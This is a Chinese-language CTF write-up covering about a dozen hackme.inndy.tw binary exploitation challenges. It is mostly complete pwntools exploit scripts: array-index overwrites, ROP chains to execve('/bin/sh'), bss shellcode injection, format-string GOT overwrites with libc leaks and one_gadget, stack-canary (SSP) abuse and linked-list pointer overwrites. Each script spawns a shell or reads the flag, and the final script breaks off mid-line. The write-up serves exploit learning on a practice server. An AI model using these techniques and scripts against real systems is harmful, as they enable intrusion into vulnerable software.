开启刷题模式: 学了栈溢出和格式化字符串漏洞,现在是练手的时候,打完题目总结好准备开坑堆,师傅说Hackme的题目还不错,于是果断去刚一波~下面对所有题目进行复现,也检验自己的学习情况,查缺补漏。
1、bash 一波常规操作:
这题是最简单的pwn了,题目疯狂暗示cat flag,猜想应该是直接连接远程,ls再cat flag,没什么好讲的。
1 2 3 4 5 6 7 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] context(arch='amd64' , os='linux' ) p = remote('hackme.inndy.tw' ,7709 ) p.interactive()
2、homework(数组下标溢出)
开了栈溢出保护和堆栈不可执行,看main,这里name是到bss段的,最后saybye的时候打印出来,重点看中间的程序,发现有数组,这里一开始不明感没做过这种题目,一直在想怎么泄露canary然后栈溢出去覆盖,最后ret到system,但是一直木有,师傅提示这是个新姿势,数组!数组下标溢出~学习一波先呗:
C/C++不对数组做边界检查。 可以重写数组的每一端,并写入一些其他变量的 数组或者甚至是写入程序的代码。不检查下标是否越界可以有效提高程序运行 的效率,因为如果你检查,那么编译器必须在生成的目标代码中加入额外的代 码用于程序运行时检测下标是否越界,这就会导致程序的运行速度下降,所以 为了程序的运行效率,C / C++才不检查下标是否越界。发现如果数组下标越 界了,那么它会自动接着那块内存往后写。
漏洞利用:继续往后写内存,这里就可以通过计算,写到我们的ret位置处,这样就可以直接getshell啦~
再回来这题的栈,
这里中间间隔了60,也就是15条4字节的指令,下标从0开始,那么ret的下标就是14,这样就轻松地绕过了cananry,同时这题里面有现成的system函数(0x080485FB),那么payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] context(arch='i386' , os='linux' ) local = 1 elf = ELF('./homework' ) if local: p = process('./homework' ) libc = elf.libc else : p = remote('hackme.inndy.tw' ,7701 ) libc = ELF('./libc.so.6' ) def z (a='' ) : gdb.attach(p,a) if a == '' : raw_input() p.recvuntil("What's your name? " ) p.sendline("Your father" ) p.recvuntil("4 > dump all numbers" ) p.recvuntil(" > " ) p.sendline("1" ) p.recvuntil("Index to edit: " ) p.sendline("14" ) p.recvuntil("How many? " ) system_addr = 0x080485FB p.sendline(str(system_addr)) p.sendline('0' ) p.interactive()
这里需要注意的是要发送的都是以字符串的形式去发送的,最后退出就直接getshell了。
3、rop 看到rop感觉心里很开心,直接刚:
栈溢出,只是堆栈不可执行而已,而且是静态文件,直接想到rop链盘它,还是再看看文件先:
gets函数,还是无限溢出,完美地刚一波:
命令:ROPgadget –binary rop –ropchain
脚本加上:from struct import pack
直接搞定:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *from struct import packcontext.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] context(arch='i386' , os='linux' ) local = 1 elf = ELF('./rop' ) if local: os = process('./rop' ) libc = elf.libc else : os = remote('hackme.inndy.tw' ,7701 ) def z (a='' ) : gdb.attach(os,a) if a == '' : raw_input() p = '' p += 'a' *0xC p += p32(0xdeadbeef ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080b8016 ) p += '/bin' p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea064 ) p += pack('<I' , 0x080b8016 ) p += '//sh' p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x080492d3 ) p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x080481c9 ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080de769 ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x080492d3 ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0806c943 ) os.send(p) os.interactive()
以后遇到静态文件直接刚~
但是针对于这种题目,如果是动态的也要会,这里也总结下,就是ROP技术,然后没有system也没有puts函数,就要用到systemcall啦,这里32位的用execve(),系统调用号为0xb:
它的实际情况是这样的execve(”/bin/sh”,0,0),也就是说eax=0x0b,ebx=”/bin/sh” ,ecx=0,edx=0,后面两个参数可以忽略不计,这样就要找ROP啦,直接写payload啦~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] context(arch='i386' , os='linux' ) local = 1 elf = ELF('./rop' ) if local: p = process('./rop' ) libc = elf.libc else : p = remote('hackme.inndy.tw' ,7704 ) bss_addr = elf.bss() ppp_edx_ecx_ebx_ret = 0x0806ed00 pop_eax_ret = 0x080b8016 pop_ecx_addr_ret = 0x0804b5ba pop_ecx_ret = 0x080de769 int_0x80 = 0x0806c943 payload = '' payload += 'a' *0xC payload += 'aaaa' payload += p32(pop_ecx_ret) payload += p32(bss_addr) payload += p32(pop_ecx_addr_ret) payload += '/bin' payload += p32(pop_ecx_ret) payload += p32(bss_addr + 4 ) payload += p32(pop_ecx_addr_ret) payload += '/sh\x00' payload += p32(pop_eax_ret) payload += p32(0x0b ) payload += p32(ppp_edx_ecx_ebx_ret) payload += p32(0x0 ) payload += p32(0x0 ) payload += p32(bss_addr) payload += p32(int_0x80) p.sendline(payload) p.interactive()
这里记得,当没有system函数时,有两种方式:1、syscall(有int_0x80,无打印函数) 2、libc偏移(前提有puts,printf函数可以泄露地址,one_gadget)
4、ROP2
syscall是系统调用函数,我看了下查了表,于是打个注释先:
这题是我们的动态链接的题目啦,逻辑很简单,首先输入一串字符串,问你能解决吗?然后要求输入到buf中,0x400,肯定是栈溢出啦~再把栈中的东西输出,鉴于上一题的经验,刚好可以一试,这里syscall就是int_0x80来的,所以只要寄存器的参数都设置好了,随时可以进行系统调用(针对64位)于是直接上payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] context(arch='i386' , os='linux' ) local = 1 elf = ELF('./rop2' ) if local: p = process('./rop2' ) libc = elf.libc else : p = remote('hackme.inndy.tw' ,7704 ) bss_addr = elf.bss() pop_eax_addr_ret =0x0804844e pop_eax_edx_ecx_ret = 0x0804843e syscall_plt = elf.symbols["syscall" ] p.recv() payload = '' payload += 'a' *0xC payload += 'aaaa' payload += p32(pop_eax_edx_ecx_ret) payload += p32(bss_addr) payload += p32(0 ) payload += p32(0 ) payload += p32(pop_eax_addr_ret) payload += '/bin' payload += p32(pop_eax_edx_ecx_ret) payload += p32(bss_addr + 4 ) payload += p32(0 ) payload += p32(0 ) payload += p32(pop_eax_addr_ret) payload += '/sh\x00' payload += p32(syscall_plt) payload += p32(0xdeadbeef ) payload += p32(0x0b ) payload += p32(bss_addr) payload += p32(0x0 ) payload += p32(0x0 ) p.sendline(payload) p.recv() p.interactive()
当然如果没有好用的ROP可以往寄存器里面写地址,再往地址写内容的话,还可以不用rop链来做,就是利用系统调用来实现:借力打力
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] context(arch='i386' , os='linux' ) local = 1 elf = ELF('./rop2' ) if local: p = process('./rop2' ) libc = elf.libc else : p = remote('hackme.inndy.tw' ,7703 ) bss_addr = elf.bss() ppp_edx_ecx_ebx_ret = 0x0806ed00 pop_eax_ret = 0x080b8016 pop_ecx_addr_ret = 0x0804b5ba pop_ecx_ret = 0x080de769 int_0x80 = 0x0806c943 syscall_plt = elf.symbols["syscall" ] overflow_addr = 0x8048454 p.recv() payload = '' payload += 'a' *0xC payload += 'aaaa' payload += p32(syscall_plt) payload += p32(overflow_addr) payload += p32(0x3 ) payload += p32(0x0 ) payload += p32(bss_addr) payload += p32(0x400 ) p.sendline(payload) p.send("/bin/sh\x00" ) payload = '' payload += 'a' *0xC payload += 'aaaa' payload += p32(syscall_plt) payload += 'aaaa' payload += p32(0x0b ) payload += p32(bss_addr) payload += p32(0x0 ) payload += p32(0x0 ) p.sendline(payload) p.recv() p.interactive()
这就是利用read的系统调用,往bss中写入/bin/sh,然后再利用execve的系统调用就能getshell了,是个重要的技巧喔当没有read函数时怎么写入呢,那就是这条输入往地址写内容的gadget了(积累)
pop eax ; ret
地址
pop dword ptr [eax] ; ret
内容
具体利用如下:(32位和64位都适用)
payload += p32(pop_eax_ret) payload += p32(bss_addr) payload += p32(pop_eax_addr_ret) payload += ‘/bin’ payload += p32(pop_eax_ret) payload += p32(bss_addr + 4) payload += p32(pop_eax_addr_ret) payload += ‘/sh\x00’
5、toooomach 数字炸弹游戏,这题直接gets栈溢出跳转到print flag的函数处即可,也可以认真玩游戏,二分法(有兴趣的话):这题什么保护都没开,也是简单的栈溢出跳转,没有新姿势,直接上payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] context(arch='amd64' , os='linux' ) local = 0 elf = ELF('./toooomuch' ) if local: p = process('./toooomuch' ) libc = elf.libc else : p = remote('hackme.inndy.tw' ,7702 ) cat_flag = 0x0804863B payload = '' payload += 'a' *0x18 payload += 'aaaa' payload += p32(cat_flag) p.recvuntil("Give me your passcode: " ) p.send(payload) p.interactive()
6、toooomach1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 这题和上题是一样的,只是flag要在提权后才给,不一样的flag,保护都一样,这里bss是可执行的,所以直接写shellcode到bss段中, from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] context(arch='i386' , os='linux' ) local = 1 elf = ELF('./toooomuch1' ) if local: p = process('./toooomuch1' ) libc = elf.libc else : p = remote('hackme.inndy.tw' ,7702 ) gets_plt = elf.symbols["gets" ] bss_addr = elf.bss() start_addr = 0x0804877E payload = '' payload += 'a' *0x18 payload += 'aaaa' payload += p32(gets_plt) payload += p32(bss_addr) payload += p32(bss_addr) shellcode = asm(shellcraft.sh()) p.recvuntil("Give me your passcode: " ) p.sendline(payload) p.sendline(shellcode) p.interactive()
一般地能写入的是栈中,但是要知道shellcode在栈中的位置(esp),更多的是写入到bss段中(但是需要bss有可执行的权限)
这里有提示,我们也可以到gdb中看bss段有没有可执行的权限(vmmap命令)
7、echo
这里可以看出只开了堆栈不可执行,有完美的格式化字符串漏洞,只读取0x100的大小,没有栈溢出保护了,只能利用格式化字符串漏洞,偏移为7
这里一看就有system函数,首先想到是改got表,由于while循环会重新执行printf函数,所以直接修改printf的got表为system的plt即可,输入时随机输入~
上payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] context(arch='i386' , os='linux' ) local = 0 elf = ELF('./echo' ) if local: p = process('./echo' ) libc = elf.libc else : p = remote('hackme.inndy.tw' , 7711 ) printf_got = elf.got['printf' ] system_plt = elf.symbols['system' ] printf_got = elf.got['printf' ] system_plt = elf.symbols['system' ] payload ='' payload = fmtstr_payload(7 ,{printf_got:system_plt}) p.sendline(payload) p.recv() p.sendline("bin/sh" ) p.interactive()
8、echo2
开了堆栈不可执行和内存地址随机化,有些棘手哎程序逻辑不变~还是格式化字符串漏洞。
这题开了保护后就比较骚了,fmtstr_payload工具(只适用于32位的程序)是用不了了,因为64位存在\x00截断符,那么只能手写了,由于低3位是不变的,所以可以通过这个去泄露出真实地址,记住fmtstr_payload这个函数,这个是专门为32位程序格式化字符串漏洞输出payload的一个函数,64位的用不了。
先来看看偏移:
这里可以知道,格式化字符串的偏移为0x25(37)+ 6 = 43,所以可以泄露出来真实地址,通过算libc偏移从而得到system的真实地址和onegadget地址,同时偏移为41的位置可以泄露出elf的基地址,泄露出来了,我们就可以改写exit的got表为我们的system的真实地址,payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *context(os="linux" , arch="amd64" ,log_level = "debug" ) local = 1 elf = ELF('./echo2' ) if local: p = process('./echo2' ) libc = elf.libc else : p = remote('hackme.inndy.tw' , 7712 ) libc = ELF("./libc-2.23.so.x86_64" ) def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(p.pid)).readlines()[1 ], 16 ) gdb.attach(p,'b *{}' .format(hex(text_base+addr))) else : gdb.attach(p,"b *{}" .format(hex(addr))) p.sendline("%43$p" ) start =int(p.recvline(),16 )-240 libc_base = start -libc.symbols["__libc_start_main" ] p.sendline("%41$p" ) elf_base =int(p.recvline(),16 )-0xa03 print "elf_base---->" +hex(elf_base)one_gadget = 0xf0897 + libc_base exit_got = elf.got["exit" ]+elf_base print "exit_plt-->" +hex(exit_got)print "one_gadget-->" +hex(one_gadget)hex_one_gadget = hex(one_gadget) paylaod1="a" *4 +"%" +str(int(hex_one_gadget[-4 :],16 )-4 )+"c" +"%8$hn" +p64(exit_got) p.sendline(paylaod1) sleep(1 ) paylaod2="a" *4 +"%" +str(int(hex_one_gadget[-8 :-4 ],16 )-4 )+"c" +"%8$hn" +p64(exit_got+2 ) p.sendline(paylaod2) sleep(1 ) paylaod3="a" *4 +"%" +str(int(hex_one_gadget[-12 :-8 ],16 )-4 )+"c" +"%8$hn" +p64(exit_got+4 ) p.sendline(paylaod3) sleep(1 ) p.sendline("exit" ) p.interactive()
这里解释下那个为何要输入4个a,因为64位怕有截断符\x00,所以地址放在
最后面去,中间减去4是因为,它是按照写入去堆积的,所以要减掉。这样的话写入就不是格式化字符串的偏移位置了,而是要往后挪的位置,具体挪多少是需要计算得出来的,首先%1,str占用5个字节(10进制,自己可以算),c占1,%x$hn占用5个,一共12个了,由于栈中一次能存8个字节,那么要铺满2个栈位置,16个字节,就差4个字节,铺满6和7的位置后,8的位置就是exit的got表地址了,这就是偏移为8的原因,由于每次写入的是双字节,所以需要写3次地址,我们可以检验下我们的说法的正确性:
可以看到完全正确,最后payload的正确性
检验下:
9、echo3 看看保护了解下机制,再分析下逻辑:
这里我们知道开了栈溢出保护,堆栈不可执行,而且是动态链接的,
这里分析下逻辑:从文件中读取了数据到buf和magic中,然后要命的是,v3那里一波操作,把buf的地址搞得花里胡哨的,看不出来了,然后read到bss段中,就没那么容易利用了,想到lab9做过的那题,利用ebp来间接写,很好,尝试一波(在看着大佬的writeup来做的),由于做了一个抬栈的操作,alloca函数的作用是分配内存,不过是向栈申请内存。在这里被用来抬栈,而且每次都是随机的,所以要先爆破一下,泄露出地址后才进行下一步。
这是抬栈之前的栈分布:
这是抬了一手的,恶心到我了,0x28ec之前的都是0,所以很慌哎。。。
)
利用这个函数,看看随机到了哪里,我们才能爆破:
1 2 3 4 5 import randomfor x in xrange(1 ,50 ): buf= random.randint(0 ,0xffffffff ) a=16 * (((buf & 0x3039 ) + 30 ) / 0x10 ) print "aaaaaa-->" +hex(a)
可以看到我们的buf起始位置在各种位置,这里会造成分配0x10,0x20,0x30,0x40,0x50,0x1020,0x1030等等的栈空间,这就是esp要抬的大小。那我们要得出正常的栈分布情况的话,就需要在gdb调试里面把这些被减去的加回来(这里用0x20 做例子),于是需要一波爆破:
首先在text:08048774 sub esp, eax
下个断点,设置set $eax=0x20
然后在printf函数下个断点,接着c一下继续运行。
这题有了LAB9的那个做法经验,很快,直接上exp~
完整的exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 from pwn import *context.log_level='debug' libc = ELF('/lib/i386-linux-gnu/libc.so.6' ) elf = ELF('./echo3' ) while True : p = process('./echo3' ) payload = '%43$p#%30$p' p.sendline(payload) data = p.recvuntil('#' ,drop = True ) if data[-3 :] == '637' : break p.close() main_addr = int(data,16 ) - 247 libc_base = main_addr - libc.symbols['__libc_start_main' ] log.info("libc address {}" .format(hex(libc_base))) libc.address = libc_base system_addr = libc.symbols['system' ] printf_got = elf.got['printf' ] leak_stack = int(p.recv().strip('\n' ),16 ) log.info("leak stack address{}" .format(hex(leak_stack))) stack1 = leak_stack - 0x10c log.info("stack1 address{}" .format(hex(stack1))) stack2 = leak_stack - 0x108 log.info("stack2 address{}" .format(hex(stack2))) log.info("change stack" ) payload1 = '' payload1 += '%' + str(stack1 & 0xffff ) +'c%30$hn' payload1 += '%' + str(4 ) + 'c%31$hn' payload1 += '1111' p.sendline(payload1) log.info("wirte printf_got into stack" ) payload2 = '' payload2 += '%' + str(printf_got & 0xffff ) + 'c%85$hn' payload2 += '%' + str(2 ) + 'c%87$hn' payload2 += '2222' p.recvuntil("1111\n" ) p.sendline(payload2) log.info("change printf got" ) payload3 = '' payload3 += '%' + str(system_addr>>16 & 0xff ) + 'c%20$hhn' payload3 += '%' + str((system_addr & 0xffff )-(system_addr>>16 & 0xff )) +'c%21$hn' payload3 += '3333' p.recvuntil("2222\n" ) p.sendline(payload3) p.recvuntil("3333\n" ) p.sendline("/bin/sh\x00" ) p.interactive()
改成功了~
总结: 这题很妙,首先那个抬栈操作很像内存地址随机化,我们需要通过爆破的思路去解决,其次,写到bss段我们需要找到指向指针的指针,来完成我们的间接任意地址写,修改got表,同时利用高位相同的话,只要写入低位的就可避免产生负数,而且也可以省下一些字节,同时在每一次写入双字节时都在末尾加个标识符,用来检验输入完成!
10、smash-the-stack
这题看到栈溢出保护,一开始想到泄露canary,但是后面的write函数不行没有用,但是读入0x1000个字节,同时知道flag的地址,于是想到了那个攻击:ssp专,门克制这种题目的~
直接上payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *context.log_level='debug' local = 0 elf = ELF('./smash-the-stack' ) if local: p = process('./smash-the-stack' ) libc = elf.libc else : p = remote('hackme.inndy.tw' ,7717 ) payload = '' payload += p32(0x804A060 ) * 1000 p.recvuntil("Try to read the flag\n" ) p.send(payload) p.interactive()
打本地的时候,乘的倍数换成100即可,具体为何,有些玄学哎。
11、one_punch
开始一点思路都没有哎,canary崩坏技巧刚不动这题,感觉不是泄露canary来栈溢出的,那么是什么呢,仔细阅读代码会发现14行是把v4的值写入到v6的地址中,任意地址写?再回去看看,那么scanf是往一个地址写入一个字节了,这下有点儿思路了,那么是不是什么地址都可以写呀?去内存看看,我透,真的是,text段都是可读可写可执行的,那么这里就可以写shellcode了,
****
然后类似打patch的方法去做这题,首先要能实现循环输入,那么就要修改跳转的地址,这里我们看下ida:
这里我们通过往0x400767的位置写入-61,每一次跳转时就到scanf上面,这样就实现了重复写入的操作,接下来我们把shellcode写到0x400769后面即可,最后随便往一个地址,写入255,使得跳转失败,就相当于退出循环,往下执行,就是执行shellcode的地方了,即可getshell,上exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *context.log_level='debug' local = 0 elf = ELF('./onepunch' ) if local: p = process('./onepunch' ) libc = elf.libc else : p = remote('hackme.inndy.tw' ,7718 ) p.sendline('400768' ) p.sendline('-61' ) shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" length = len(shellcode) addr = 0x400769 for i in shellcode: p.sendline(hex(addr)) p.sendline(str(ord(i))) addr += 1 p.sendline('40084C' ) p.sendline('255' ) p.interactive()
总结: 这题还是很新颖的,text段可改可执行,通过改写地址,打补丁解题法,也是一种积累~
格式化字符串过后就是比较高级的栈题啦~
12、stack
这里保护全开,加油吧~,继续ida分析一波
逻辑很简单,实现入栈出栈,清空和退出的功能,重点是看入栈和出栈,因为其他地方没找到漏洞点
这里有个结构体在里面,进行操作,反编译出来的东西有些看不懂哎,看看汇编代码
这里我们很难直接看出来,那么不妨动态调试一波:
第二个箭头汇编指令的意思就是把ecx的值(我们的输入)写到基址为edx,偏移为eax*4+4的地址上,因为eax=0,那么所写地址就是edx地址+4,来看看:
不出意外,那么我们的输入将会在edx下方,si一下看看:
很好,没问题,这是正常的情况,这里可以看成一个虚假的栈,栈ebp就是edx,那么栈往高地址增长(图中向下生长),esp由0xffa53ba8跳转到0xffa53bac,这是push的情况,如果你眼睛够尖锐,就会发现eax和edx的地址值都是0xff8b1278,而这个地址上存的便是偏移量的值。也就是说这个虚假栈的ebp = 0xff8b1278,esp = 0xff8b1278 + [0xff8b1278](基址+偏移),为了再次验证,我们可以看看pop的情况:
pop的话刚好反过来,它是eax作为基地址(可以看到ebp=0xff8b1278不变),edx作为偏移量,而edx又是从eax地址里面取出来的偏移量,验证完成!
那么漏洞点就在这里了!如果我们能在0xff8b1278中写入偏移量,那么就相当于控制esp了,push和pop都可,即可实现任意地址读和任意地址写,而如何往这个ebp中写入数据呢,很简单,一开始直接pop一下,esp上移,那么push时,就会把偏移量push到ebp的位置,mov指令执行时,就可以取出ebp处的偏移从而使得esp跳到任意想去的地方。所以大概思路如下:
1、pop一下,使得能够在ebp的位置写入偏移从而利用。
2、写入libc_start_main的偏移,使得esp指向libc_start_main那里,可以pop出真实地址,进而得到system和binsh
3、在ret的位置处push入system,参数部署好即可getshell
真正跑起来你会发现偏移量减少了1,细心就会发现mov操作,里面有个+4操作,所以这里减少1是对的,(eax=0x5c)*4+4 = (eax=0x5d)乘4,这样就理解好了。还有个坑点就是第二个libc_start_main才是我们的返回地址,ebp后面的不是,算出偏移为0x174,我们除以4得到0x5d(93),pop之前,esp指向libc_start_main,pop后esp退后一步,那么再push我们的onegedget,就正好填在我们的原libc_start_main的地方,esp也指向这里,最后我们退出即可getshell,当然也可以system+binsh~
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import *context.log_level='debug' local = 1 elf = ELF('./stack' ) if local: p = process('./stack' ) libc = elf.libc else : p = remote('hackme.inndy.tw' , 7716 ) libc = ELF('./libc-2.23.so.i386' ) def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(p.pid)).readlines()[1 ], 16 ) gdb.attach(p,'b *{}' .format(hex(text_base+addr))) else : gdb.attach(p,"b *{}" .format(hex(addr))) def push (p,value) : p.sendline('i ' +value) def pop (p) : p.sendline('p' ) p.recvuntil('Cmd >>' ) pop(p) p.recvuntil('Pop -> -1' ) p.recvuntil('Cmd >>' ) push(p,'93' ) pop(p) p.recvuntil('Pop -> ' ) main_addr = int(p.recv(10 ))&0xffffffff print 'main_ddr-->' + hex(main_addr)libc_base = main_addr - libc.symbols['__libc_start_main' ] - 247 sys_addr = libc_base + libc.symbols['system' ] binsh = libc.search('/bin/sh\x00' ).next() + libc_base p.recvuntil('Cmd >>' ) push(p, str(sys_addr - (1 <<32 ))) p.recvuntil('Cmd >>' ) push(p, '0' ) p.recvuntil('Cmd >>' ) push(p, str(binsh - (1 <<32 ))) p.recvuntil('Cmd >>' ) p.sendline('x' ) p.interactive()
这里onegaget只能打远程,打不动本地,但是system都可以~
这里学到一招整数变负数的方法,32位:X-(1<<32)= X负数形式
64位:X-(1<<64) = X负数形式
这题很有趣,好玩儿
13、very_overflow
只有一个堆栈不可执行的保护,ida看看~
典型的问题,类似于登录注册问题,这是写入数据然后可以达到修改和查看目的,这里有个结构体NOTE
1 2 3 4 struct NOTE { struct NOTE* next;//指向下一个note char data[128 ]; };
先输入3次,aaaaaaaaa,bbbbbbbb,cccccccc,然后这是我们在栈上的分布,首先是会先存储next指针,然后下一个字节存的是data,其中未有填充的用\x0a作为截断,注意这里都是小端序存储~这个图很清晰地说明了结构体的分布,接着我们要改写0号结构体的数据,因为可以输入128字节,但是前面我们只输入了8字节,所以next指针就被溢出覆盖了,那么就实现了任意地址写,我们写libc_start_main的got表地址,从而泄露出来:
覆盖成功,接着泄露出id=0的next即可泄露真实地址,真实地址有了那么system函数就到手了。
为何那里是atoi的真实地址?这里是由ida看出来的哈哈哈,那么我们只需要将setbuf和memset的真实地址改成aaaa即可,然后覆盖atoi地址为我们的system即可~,接着改写atoi的got表,按5退出时会执行atoi函数,
覆盖成功~接着退出按5即可。
就可getsehll了~exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *context.log_level='debug' local = 1 elf = ELF('./very_overflow' ) if local: p = process('./very_overflow' ) libc = elf.libc else : p = remote('nc hackme.inndy.tw' , 7705 ) libc = ELF('./libc-2.23.so.i386' ) def add (content) : p.recvuntil("Your action:" ) p.sendline('1' ) p.recvuntil("note: " ) gdb.attach(p,'b *0x0804868E' ) p.sendline(content) def edit (idx,content) : p.recvuntil("Your action:" ) p.sendline('2' ) p.recvuntil("edit: " ) p.sendline(str(idx)) p.recvuntil("data: " ) gdb.attach(p,'b *0x804870C' ) p.sendline(content) def show (idx) : p.recvuntil("Your action:" ) p.sendline('3' ) p.recvuntil("Which note to show: " ) p.sendline(str(idx)) add('a' *8 ) add('b' *8 ) add('c' *8 ) main_got = elf.got['__libc_start_main' ] main_libc = libc.symbols['__libc_start_main' ] system_libc = libc.symbols['system' ] edit(0 ,'a' *0xa + p32(main_got)) show(2 ) p.recvuntil("Next note: " ) leak_main = int(p.recvline(10 ),16 ) print "leak_main--->" + hex(leak_main)libc_base = leak_main - main_libc system = libc_base + system_libc print "system_addr--->" + hex(system)edit(2 ,p32(system)*3 ) p.recv() p.sendline('$0' ) p.sendline('5' ) p.interactive()
初始状态:
第一次edit:
第二次edit:
这个图是我画出的,链表的关系一目了然了~
这里真的很妙积累下日后学习堆会用上的,都是链表
14、题目: rsbo1
这里只有堆栈不可执行的保护,看看ida:
一看0x60的栈大小要装0x80,那么肯定是栈溢出啦~而且还没有栈溢出保护,接着看到了init里面的cat flag,想到直接调用出来,那么用open、read、write函数就可以打印出flag了,这里有几个坑点:
1、offset大小:在read 0x80里面的buf有个0x8的偏移,要加上~
那么总偏移就是0x68
2、注意fd = 0时代表标准输入stdin,1时代表标准输出stdout,2时代表标准错误stderr,3~9则代表打开的文件,这里我们只打开了一个文件,那么fd就是3
3、用main实现不了跳转很奇怪?!改用start~
4、本地打不通的,很怪异,而且没有那个路径的话,需要自己搭一个
5、在填充垃圾字符串的时候,用\x00为了覆盖v8,绕过for循环,否则我们构造的rop链就会被破坏。
完整的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import *context.log_level='debug' local = 0 elf = ELF('./rsbo' ) if local: p = process('./rsbo' ) libc = elf.libc else : p = remote('hackme.inndy.tw' , 7706 ) libc = ELF('./libc-2.23.so.i386' ) open_plt = elf.symbols['open' ] read_plt = elf.symbols['read' ] write_plt = elf.symbols['write' ] cat_flag = 0x80487D0 start = 0x8048490 bss = elf.bss() payload = '\x00' *0x68 payload += 'aaaa' payload += p32(open_plt) payload += p32(start) payload += p32(cat_flag) payload += p32(0x0 ) p.send(payload) payload = '\x00' *0x68 payload += 'aaaa' payload += p32(read_plt) payload += p32(start) payload += p32(0x3 ) payload += p32(bss) payload += p32(0x100 ) p.send(payload) payload = '\x00' *0x68 payload += 'aaaa' payload += p32(write_plt) payload += p32(start) payload += p32(0x1 ) payload += p32(bss) payload += p32(0x100 ) p.send(payload) p.interactive()
鉴于此,很不爽,尝试直接getshell,即先泄露出真实地址,然后利用system
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *context.log_level='debug' local = 0 elf = ELF('./rsbo' ) if local: p = process('./rsbo' ) libc = elf.libc else : p = remote('hackme.inndy.tw' , 7706 ) libc = ELF('./libc-2.23.so.i386' ) read_got = elf.got['read' ] write_plt = elf.symbols['write' ] start = 0x8048490 payload = '\x00' *0x68 payload += 'aaaa' payload += p32(write_plt) payload += p32(start) payload += p32(0x1 ) payload += p32(read_got) payload += p32(0x20 ) p.send(payload) read_addr = u32(p.recv(4 )) print 'read_addr---->' + hex(read_addr)libc_base = read_addr - libc.symbols['read' ] system = libc_base + libc.symbols['system' ] binsh = libc_base + libc.search('/bin/sh' ).next() payload = '\x00' 